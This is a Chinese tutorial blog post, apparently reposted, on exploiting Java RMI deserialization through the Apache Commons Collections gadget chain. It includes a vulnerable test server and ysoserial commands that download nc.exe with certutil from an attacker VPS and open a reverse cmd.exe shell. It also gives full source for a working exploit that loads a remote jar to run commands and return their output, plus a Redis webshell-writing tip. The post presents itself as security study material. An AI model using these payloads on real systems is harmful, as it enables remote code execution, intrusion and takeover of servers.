Java RMI 利用入门学习

栏目: Java · 发布时间: 6年前

内容简介:Windows中遇到了Java RMI,反弹又不那么方便,这时该如何利用呢? It’s a question。 正好加强Java学习了。Java RMI——Java远程调用提供了不同机器之间进行对象方法访问的能力,这样的构架允许一台机器的对象访问另一台机器的对象方法,而这种远程调用必然需要传递对象数据结构,因此就需要序列化和反序列化,在此过程中,如果服务器上可以被使用的对象存在漏洞,通过客户端构造相应的序列化数据就可以触发漏洞。Apache Common Collections Java的第三方库,提供更

Windows中遇到了Java RMI,反弹又不那么方便,这时该如何利用呢? It’s a question。 正好加强 Java 学习了。

0x00 预备知识理解

Java RMI——Java远程调用提供了不同机器之间进行对象方法访问的能力,这样的构架允许一台机器的对象访问另一台机器的对象方法,而这种远程调用必然需要传递对象数据结构,因此就需要序列化和反序列化,在此过程中,如果服务器上可以被使用的对象存在漏洞,通过客户端构造相应的序列化数据就可以触发漏洞。

Apache Common Collections Java的第三方库,提供更加强大的集合数据结构。它的一段代码中存在调用方法和对象可控的情况,因此可以实现命令执行。在这种情况下,这个第三方包无论用或者没用,都有可能被开发者打包进程序,成为程序中存在的对象,结合RMI机制,攻击者就有可能调用到这些危险的对象。

Java 8版本121更新后对RMI注册类进行了限制,因此需要寻找白名单内的类存在漏洞的情况,参考文献中列出了收集到的解决方法。

0x01 测试环境搭建

避开Java版本的坑之后,测试环境很好完成,写一个RMI服务器,放入Common Collections第三方包,启动服务器即可,详细实现代码如下:

RMIInterface 接口

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIInterface extends Remote {
    String sayHello() throws RemoteException;
}

RMIServer 服务器

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer implements RMIInterface {
    public String sayHello() {
        return "Hello World!";
    }

    public static void main(String args[]) {
        try {
            RMIServer obj = new RMIServer();
			RMIInterface stub = (RMIInterface) UnicastRemoteObject.exportObject((Remote) obj, 0);
			LocateRegistry.createRegistry(1099);
			Registry registry = LocateRegistry.getRegistry();
			registry.bind("Hello", stub);
			System.out.println("Server Start!");
        } catch (Exception e) {
			e.printStackTrace();
		}
    }
}

再将Common Collections放入开发环境的External lib中。这样启动起来的服务器已经可以被用来测试漏洞了。

0x02 Ysoserial工具与测试利用

java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsColections1 "calc"

网上最常见的用法,我们对这条命令逐个分析。

作为一款通用的Java反序列化利用工具,Yso具有广泛的功能,我们这里主要聚焦于它的exploit和payloads两部分。

由上面的分析我们知道,这一类的漏洞需要两部分来完成,协议交互部分完成与服务器的交互,这一部分由exploit来完成,payloads则提供进行反序列化的对象以及相应的攻击功能。

exploit中重点来看RMIRegistryExploit的代码,另外会尝试运行JRMPClient和JRMPListener,先知也有相关模块的分析文章。

RMIRegistryExploit,从名字就可以看出,主要是通过RMI的Registry来进行交互。main函数部分就是一个和RMI服务器进行通信的客户端

Java RMI 利用入门学习

其中exploit函数负责生成类的实例,并且嵌入执行命令,再使用动态代理的方式进行传递。

再来看CommonsColections1的部分,核心的部分在getObject中,这里实际上就是走了一遍CommonsCollection RCE的链,将用户的执行命令放入到相应的对象调用中,再经过序列化处理。

##0x03 如何在Windows下实现回显命令执行

DNS查询很容易,但是如何能够更好的执行命令并回显呢?

在当时测试的时候,为了快捷,使用了远程下载nc+执行nc反弹的方式回弹shell。

java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 测试机器IP 1099
CommonsCollections1 "certutil -urlcache -split -f http://VPS IP/nc.exe"

java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 测试机器IP 1099
CommonsCollections1 "D:\\nc.exe -t -e c:\\windows\\system32\\cmd.exe VPS-IP 65534"

后来查询资料发现了其他能够回显的玩法,基本有以下几种想法,

  1. 能否在这里执行java代码,利用java的方式直接反弹shell
  2. 利用URLClassLoader,远程加载自定义类,接收到报错返回的执行结果。

具体代码如下(来自先知社区),首先是远程加载的自定义类

ErrorBaseExec.jar

package exploit;

import java.io.*;

public class ErrorBaseExec {
    public static byte[] readBytes(InputStream in) throws IOException {
        BufferedInputStream bufin = new BufferedInputStream(in);
        int buffSize = 1024;
        ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);
        byte[] temp = new byte[buffSize];
        int size = 0;

        while ((size = bufin.read(temp)) != -1) {
            out.write(temp, 0, size);
        }

        bufin.close();

        byte[] content = out.toByteArray();

        return content;
    }

    public static void do_exec(String cmd) throws Exception {

        final Process p = Runtime.getRuntime().exec(cmd);
        final byte[] stderr = readBytes(p.getErrorStream());
        final byte[] stdout = readBytes(p.getInputStream());
        final int exitValue = p.waitFor();

        if (exitValue == 0) {
            throw new Exception("-----------------\r\n" + (new String(stdout)) + "-----------------\r\n");
        } else {
            throw new Exception("-----------------\r\n" + (new String(stderr)) + "-----------------\r\n");
        }

    }

    public static void main(final String[] args) throws Exception {
        do_exec("whoami");
    }
}

RMIexploit

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class RMIexploit {
    public static Constructor<?> getFirstCtor(final String name)
            throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);

        return ctor;
    }

    public static void main(String[] args) throws Exception {
        if (args.length < 4) {
            System.out.println(
                    "        Usage: java -jar RMIexploit.jar ip port jarfile command");
            System.out.println(
                    "        Example: java -jar RMIexploit.jar 123.123.123.123 1099 http://1.1.1.1.1/ErrorBaseExec.jar \"ls -l\"");

            return;
        }

        String ip = args[0];
        int port = Integer.parseInt(args[1]);
        String remotejar = args[2];
        String command = args[3];
        final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

        try {
            final Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(java.net.URLClassLoader.class),
                    new InvokerTransformer("getConstructor",
                            new Class[] { Class[].class },
                            new Object[] { new Class[] { java.net.URL[].class } }),
                    new InvokerTransformer("newInstance",
                            new Class[] { Object[].class },
                            new Object[] {
                                    new Object[] {
                                            new java.net.URL[] { new java.net.URL(remotejar) }
                                    }
                            }),
                    new InvokerTransformer("loadClass",
                            new Class[] { String.class },
                            new Object[] { "exploit.ErrorBaseExec" }),
                    new InvokerTransformer("getMethod",
                            new Class[] { String.class, Class[].class },
                            new Object[] { "do_exec", new Class[] { String.class } }),
                    new InvokerTransformer("invoke",
                            new Class[] { Object.class, Object[].class },
                            new Object[] { null, new String[] { command } })
            };
            Transformer transformedChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value", "value");

            Map outerMap = TransformedMap.decorate(innerMap, null,
                    transformedChain);
            Class cl = Class.forName(
                    "sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);

            Object instance = ctor.newInstance(Target.class, outerMap);
            Registry registry = LocateRegistry.getRegistry(ip, port);
            InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
                    .newInstance(Target.class,
                            outerMap);
            Remote r = Remote.class.cast(Proxy.newProxyInstance(
                    Remote.class.getClassLoader(),
                    new Class[] { Remote.class }, h));
            registry.bind("pwned", r);
        } catch (Exception e) {
            try {
                System.out.print(e.getCause().getCause().getCause().getMessage());
            } catch (Exception ee) {
                throw e;
            }
        }
    }
}

打包之后执行回显成功回显,我编译的时候还遇到两个问题,一个是需要满足JDK的版本要求,如果服务器JDK版本太低,客户端太高时会报版本不匹配;另一个是命令执行回显过多时会无法返回信息,还需调整。

Java RMI 利用入门学习

这里也放上我编译好的远程Jar

http://phantom0301.cc/remote.jar

0xff(彩蛋) Redis Windows下写 shell 的小tip

Redis在进行持久化的时候,默认会进行压缩,由于压缩导致写入的字符串存在乱码,有些乱码会影响文件解析,这时我们可以通过以下命令取消压缩。

config set rdbcompression no

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

New Dark Age

New Dark Age

James Bridle / Verso Books / 2018-7-17 / GBP 16.99

As the world around us increases in technological complexity, our understanding of it diminishes. Underlying this trend is a single idea: the belief that our existence is understandable through comput......一起来看看 《New Dark Age》 这本书的介绍吧!

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具